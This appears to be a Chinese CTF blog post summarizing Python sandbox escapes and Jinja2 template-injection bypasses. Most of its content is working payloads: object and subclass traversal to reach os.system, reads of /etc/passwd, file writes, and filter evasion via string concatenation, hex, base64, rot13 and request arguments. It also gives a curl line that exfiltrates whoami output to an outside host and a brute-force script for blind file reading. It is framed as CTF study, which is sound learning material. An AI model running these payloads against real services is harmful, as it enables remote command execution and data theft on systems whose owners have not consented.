python沙盒总结

本文主要讲python沙盒bypass,最早接触的一道有关沙盒绕过的题,来源于国赛,那也是我第一场CTF比赛,可是当时一道题都没有做出来,后面的XMAN选拔赛、还有最近的网鼎杯都有python沙盒的题,那就写一下总结吧。

题目大多都禁用相关关键字、库、函数,甚至禁用了reload,导致不能重载。
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。

这种题一般的解题思路,就是变量->对象->基类->子类遍历->全局变量 ,在这个流程中找到我们想要的模块或者函数。

基础知识

在启动python解释器之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,这些函数就是内建函数,并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用

1、查看当前内存空间可以调用的模块


image.png
image.png

不管是哪个版本,这里我们可以看到__builtins__都是默认在启动解释器之后已经导入内存中的,下面我看看__builtins__有哪些属性和方法。

image.png

可以看到,这里有不少我们常用到的函数,eval()、print()、hex()等等,最最主要的还是__import__函数,有了它,我们就可以导入任意我们想要的库。

2、类的继承

首先,python中一切均为对象,均继承object对象,python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,现在小小总结了两种创建object的方法如下

[].__class__.__bases__[0]
[].__class__.__base__
''.__class__.__mro__[-1]

>>> [].__class__.__bases__[0]
<type 'object'>
>>> ''.__class__.__mro__[-1]
<type 'object'>
image.png

然后可以看到存在一个hook函数,直接调用


image.png

这里有个小窍门,如果想要找到你想找的模块,可以用or(手算)

[].__class__.__base__.__subclasses__().index(模块名)
eg:
>>> [].__class__.__base__.__subclasses__().index(file)
40

存在file类型的object,事实上调用后可以对文件操作了 
//读文件
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
().__class__.__base__.__subclasses__().pop(40)('/etc/passwd').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

3、__globals__:
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量

4、命令执行

在了解了3之后,接下来。python里面的内置模块本身调用os模块等可以命令执行的库,这也给我们创造了条件。

这里直接给出三个内置模块

<class 'site._Printer'>
<class 'site.Quitter'>
<class 'warnings.catch_warnings'>

这里我拿<class 'warnings.catch_warnings'>举个例子,其他苟同。

>>> [].__class__.__base__.__subclasses__()[60]
<class 'warnings.catch_warnings'>

>>> dir([].__class__.__base__.__subclasses__()[60])
['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']

这里我们定位到__init__函数,这里给一个小窍门,如何判断是函数还是对象,函数总会有一个__call__方法,对象没有哦
>>> dir([].__class__.__base__.__subclasses__()[60].__init__)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__format__', '__func__', '__get__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'im_class', 'im_func', 'im_self']

引用os库
>>> [].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']
<module 'os' from 'C:\Python27\lib\os.pyc'>

接下来就可以执行命令了,这里是在windows做的实验
>>> [].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')
 驱动器 C 中的卷是 Windows
 卷的序列号是 9C2D-EC86

 C:\Users\wuli丶Decade 的目录

2018/08/24  17:04    <DIR>          .
2018/08/24  17:04    <DIR>          ..
2017/08/04  20:13    <DIR>          .android
2017/12/17  12:48    <DIR>          .eclipse

#下面也是可以执行任意命令,这里就不一一阐述了,道理类似
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('dir')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

#python3
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']

下面讲一下一些像禁用了ls、cat、os等关键字bypass

很显然,下面三条都有关键字ls,因此无法绕过waf

[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

方法:
1、getattribute+字符串拼接
这里为什么想到__getattribute__呢?

通过dir()看下实例,类,函数里的情况,都能看到__getattribute__这个魔术方法的存在
>>> dir([])          #实例
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__',...


>>> dir([].__class__)              #类
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__',...

>>> dir([].append)                #函数
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__'...
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__global'+'s__')['os'].system('dir')

>>> [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('func_global'+'s')['os'].system('dir')
 驱动器 C 中的卷是 Windows
 卷的序列号是 9C2D-EC86

 C:\Users\wuli丶Decade 的目录

2018/08/24  17:04    <DIR>          .
2018/08/24  17:04    <DIR>          ..
2017/08/04  20:13    <DIR>          .android
2017/12/17  12:48    <DIR>          .eclipse
2018/03/06  21:55    <DIR>          .gimp-2.8
2018/03/06  19:36                29 .gtk-bookmarks
2017/12/28  20:13    <DIR>          .idlerc

2、编码绕过

>>> a="emit"
>>> b=a[::-1]
>>> b
'time'

>>> ('5f5f676c6f62616c735f5f').decode('hex')
'__globals__'

>>> ('X19nbG9iYWxzX18=').decode('base64')
'__globals__'

>>> ('__tybonyf__').decode('rot13')
u'__globals__'

所以,剩下的一样

>>> [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('5f5f676c6f62616c735f5f'.decode('hex'))['os'].system('dir')
 驱动器 C 中的卷是 Windows
 卷的序列号是 9C2D-EC86

 C:\Users\wuli丶Decade 的目录

2018/08/24  17:04    <DIR>          .
2018/08/24  17:04    <DIR>          ..
2017/08/04  20:13    <DIR>          .android
2017/12/17  12:48    <DIR>          .eclipse
2018/03/06  21:55    <DIR>          .gimp-2.8
2018/03/06  19:36                29 .gtk-bookmarks

下面讲一下禁用了关键字符的bypass

1. 过滤[
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

2. 过滤引号
先获取chr函数,赋值给chr,后面拼接字符串就好了:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
#借助request对象(推荐):
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

3. 过滤双下划线__
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

4. 过滤{{
相当于盲命令执行,利用curl将执行结果带出来
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:port?i=`whoami`').read()=='p' %}1{% endif %}

or盲注
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}wuli_decade{% endif %}

脚本如下:
# -*- coding: utf-8 -*-
import requests


url = 'http://127.0.0.1:80/'

def check(payload):
    postdata = {
        'exploit':payload
        }
    r = requests.post(url, data=postdata).content
    return 'wuli_decade' in r

password  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
    for c in s:
        payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}wuli_decade{% endif %}'
        if check(payload):
            password += c
            break
    print password




5、过滤了{{ 、__
参考网鼎杯mmmmy题:https://www.jianshu.com/p/34905d56256d

参考:
禁用import的情况下绕过python沙箱
0x03:南京day4
python沙盒的几种绕过方式
python沙箱逃逸小结
PY交易之简单沙盒绕过
Python沙箱逃逸的n种姿势
python沙盒绕过
Python沙箱逃逸的一些方法
Flask/Jinja2模板注入中的一些绕过姿势

END

第一次写文章,如有错误,欢迎指出

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,189评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,577评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,857评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,703评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,705评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,620评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,995评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,656评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,898评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,639评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,720评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,395评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,982评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,953评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,195评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,907评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,472评论 2 342